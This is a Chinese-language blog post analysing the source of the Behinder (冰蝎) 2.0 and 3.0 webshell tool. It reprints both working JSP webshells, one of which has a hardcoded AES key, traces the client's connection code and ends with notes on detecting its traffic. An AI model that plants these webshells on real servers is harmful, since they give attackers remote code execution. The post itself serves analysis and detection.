Behinder源码初探

前言

继哥斯拉源码的分析以后来看看冰蝎的源码,这里拿的是冰蝎3.0的版本来看的,我比较懒,直接把jar包改成zip,然后直接看class文件了

Behinder2.0

自带的webshell文件如下

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!class
    U extends ClassLoader{
        U(ClassLoader c){super(c);}
        public Class g(byte []b){
            return super.defineClass(b,0,b.length);
        }
    }
%>

  <%
  if(request.getParameter("pass")!=null){
        String k=(""+UUID.randomUUID()).replace("-","").substring(16);
        session.putValue("u",k);
        out.print(k);
        return;
    }
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
   %>

自定义一个类加载器,g方法中调用了父类的defineclass方法,如果有请求参数pass,获取一个随机的UUID的前16位,然后放到session当中,如果get没传入pass,会去session中拿到放入session的密钥,然后先base64后AES解密,然后用defineclass加载字节码

大致过程如下

image-20220703112720393

get请求就是密钥协商部分

然后我们来看客户端的代码,把jar改成zip解压缩,就可以得到class文件了,首先先看net/rebeyond/behinder/ui/BasicInfoUtils.class,他有个getBasicInfo方法,应该是获取基本信息的

image-20220703121322039

初始化了一个shellService的类,跟进

public ShellService(JSONObject shellEntity, String userAgent) throws Exception {
    this.encryptType = Constants.ENCRYPT_TYPE_AES;
    this.beginIndex = 0;
    this.endIndex = 0;
    this.shellEntity = shellEntity;
    this.currentUrl = shellEntity.getString("url");
    this.currentType = shellEntity.getString("type");
    this.currentPassword = shellEntity.getString("password");
    this.currentHeaders = new HashMap();
    this.currentHeaders.put("User-Agent", userAgent);
    if (this.currentType.equals("php")) {
        this.currentHeaders.put("Content-type", "application/x-www-form-urlencoded");
    }

    this.mergeHeaders(this.currentHeaders, shellEntity.getString("headers"));
    Map<String, String> keyAndCookie = Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders);
    String cookie = (String)keyAndCookie.get("cookie");
    if ((cookie == null || cookie.equals("")) && !this.currentHeaders.containsKey("cookie")) {
        String urlWithSession = (String)keyAndCookie.get("urlWithSession");
        if (urlWithSession != null) {
            this.currentUrl = urlWithSession;
        }

        this.currentKey = (String)Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders).get("key");
    } else {
        this.mergeCookie(this.currentHeaders, cookie);
        this.currentKey = (String)keyAndCookie.get("key");
        if (this.currentType.equals("php") || this.currentType.equals("aspx")) {
            this.beginIndex = Integer.parseInt((String)keyAndCookie.get("beginIndex"));
            this.endIndex = Integer.parseInt((String)keyAndCookie.get("endIndex"));
        }
    }

}

他的构造方法如上,首先初始化了一些属性的值,并且设置了UA头等,判断webshell是否是php类型,如果是会加上Content-type头,调用了自身的mergeHeaders方法

private void mergeCookie(Map<String, String> headers, String cookie) {
    if (headers.containsKey("Cookie")) {
        String userCookie = (String)headers.get("Cookie");
        headers.put("Cookie", userCookie + ";" + cookie);
    } else {
        headers.put("Cookie", cookie);
    }

}

这里很简单,就是合并一下cookie,后面是调用了net/rebeyond/behinder/utils/Utils.class类的getKeyAndCookie方法,这里有点长,也是比较重要的一部分

image-20220703122218741

判断https和http啥的就不多说了,我们直接按照正常的逻辑去读

image-20220703122633293
image-20220703122928443
image-20220703123749703

看完了getKeyAndCookie方法,shellService的构造方法也就差不多了,回到getBasicInfo方法,其中在调用完getKeyAndCookie方法后,有一个JSONObject basicInfoObj = new JSONObject(mainShell.currentShellService.getBasicInfo());他这就是获取木马的基本信息,跟进

public String getBasicInfo() throws Exception {
    String result = "";
    Map<String, String> params = new LinkedHashMap();
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
    Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])resultObj.get("data");

    try {
        result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
        return result;
    } catch (Exception var7) {
        var7.printStackTrace();
        throw new Exception("请求失败:" + new String(resData, "UTF-8"));
    }
}

获取payload部分是byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);,继续跟进

image-20220703125112089

解密完以后就是返回payload的执行结果了

image-20220703130416550

最后来简单测试一下,抓个包看看,给我们的冰蝎上个代理

image-20220703131422398

这是那俩key1和key2的包,可以看到返回的包里是有16位的类似于md5的内容,这俩包就是密钥协商部分,在冰蝎3.0后取消了密钥协商。

Behinder3.0

核心代码位于net.rebeyond.behinder包下,先来看他自带的webshell的文件吧

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }
    public Class g(byte []b){
        return super.defineClass(b,0,b.length);
    }}
%>
<%
if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

首先还是自定义了一个类加载器u,有个g方法,调用父类的defineClass方法,然后验证请求方式是否为POST,如果是,把连接密码的md5值的前16位放入到seesion中设置属性,然后new一个u类的对象,然后调用g方法,主要是把请求的内容读取然后进行base64解码和aes解密恢复字节码并加载,这里就和冰蝎2有区别了

来看客户端代码,首先先看net/rebeyond/behinder/ui/controller/MainWindowController.class

image-20220703132604185

来看这个doConnect

private void doConnect() throws Exception {
    boolean connectResult = this.currentShellService.doConnect();
}

调用了this.currentShellService.doConnect方法,这里的cuurentShellService和冰蝎那个2.0差不多,只不过这里是在init方法中初始化,this.currentShellService = new ShellService(shellEntity);

public ShellService(JSONObject shellEntity) throws Exception {
    this.encryptType = Constants.ENCRYPT_TYPE_AES;
    this.beginIndex = 0;
    this.endIndex = 0;
    this.shellEntity = shellEntity;
    this.currentUrl = shellEntity.getString("url");
    this.currentType = shellEntity.getString("type");
    this.currentPassword = shellEntity.getString("password");
    this.currentHeaders = new HashMap();
    this.initHeaders();
    this.mergeHeaders(this.currentHeaders, shellEntity.getString("headers"));
}

来看doConnect,这里获取key就不是通过密钥协商了,他会直接获取连接密码的前16位md5值

image-20220703133459091

看完doConnect,继续往下看,看过冰蝎2.0的师傅知道在冰蝎2.0的地方获取连接信息的也是这个getBasicInfo,跟进就完了

image-20220703133817089
public String getBasicInfo(String whatever) throws Exception {
    String result = "";
    Map<String, String> params = new LinkedHashMap();
    params.put("whatever", whatever);
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
    Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])((byte[])resultObj.get("data"));

    try {
        result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
        return result;
    } catch (Exception var8) {
        throw new Exception("请求失败:" + new String(resData, "UTF-8"));
    }
}

后面的部分貌似差不多,这里不再详细说了

总结

冰蝎2.0有密钥协商过程,这就导致他的特征会比较明显,在连接的时候会有俩包,返回的值是16位的md5,然后就是一个payload的包,但是在冰蝎3.0中整个过程都是加密传输,没法检测关键字,他去除了密钥协商过程,就导致一个情况,冰蝎2.0的密钥是随机的,但是冰蝎3.0的密钥是固定的,在传输php,aspx,jsp时前面的字段是固定的,这就导致了在一个WebShell中每一个流的前面的字节都是相同,php前面是 assert|eval(base64_decode(、csharp是dll文件的头部格式、java则是class文件的头部格式。由于asp(php无法加载openssl时)采用异或对payload进行运算,根据异或的特征(两次异或即还原数据)可以使用密文以原始的payload的前十六位进行异或得到的就是密钥,再用密钥对整体数据进行解密即可还原出明文。